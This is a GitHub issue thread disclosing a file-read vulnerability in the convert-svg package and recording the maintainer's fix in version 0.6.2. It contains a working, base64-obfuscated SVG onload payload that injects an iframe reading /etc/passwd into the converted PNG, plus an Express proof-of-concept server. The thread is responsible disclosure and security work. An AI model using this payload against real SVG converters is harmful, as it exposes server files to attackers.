neocotic / convert-svg

Node.js packages for converting SVG into other formats using headless Chromium
MIT License
198 stars 45 forks source link

Remote Code Injection vulnerable #81

Closed 0xmanhnv closed 2 years ago

0xmanhnv commented 2 years ago

Affected versions of this package are vulnerable to Remote Code Injection. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.

poc
0xmanhnv commented 2 years ago

@neocotic

neocotic commented 2 years ago

This has been fixed in the latest major release but the CVE hasn't been updated yet.

0xmanhnv commented 2 years ago

@neocotic no, this is new vulnerability.

I tried with the new version but this security vulnerability exists

0xmanhnv commented 2 years ago

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

POC

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});
0xmanhnv commented 2 years ago

I checked on the latest version

Screen Shot 2022-05-28 at 15 15 25

Latest version on NPM

Screen Shot 2022-05-28 at 15 17 16

neocotic commented 2 years ago

Great find. Since we're now using cheerio to validate input, we should be able to easily strip the onload attribute. Are there any others that you think could be used to exploit in this way or any other nested elements within the SVG, other than the root that this needs to be applied to?

0xmanhnv commented 2 years ago

I will try to add some other ways that I think it works then I'll let you know.

but this is clearly a CVE, right? @neocotic

neocotic commented 2 years ago

It looks like it to me. I'll try to get a patch together over this weekend for it. If you find any other ways let me know and I'll add them but I'll concentrate on the known attack vector for now

0xmanhnv commented 2 years ago

@neocotic yes, But can i claim a CVE?

neocotic commented 2 years ago

No idea. Might be good to have a patch available beforehand

neocotic commented 2 years ago

@0xmanhnv A fix has now been released in 0.6.2. If you find any other attack vectors (e.g. other event listener attributes) then please raise another issue/PR and we can get it patched.

Please feel free to open a CVE for this vulnerability now with a upgrade path to 0.6.2 mentioned as a solution.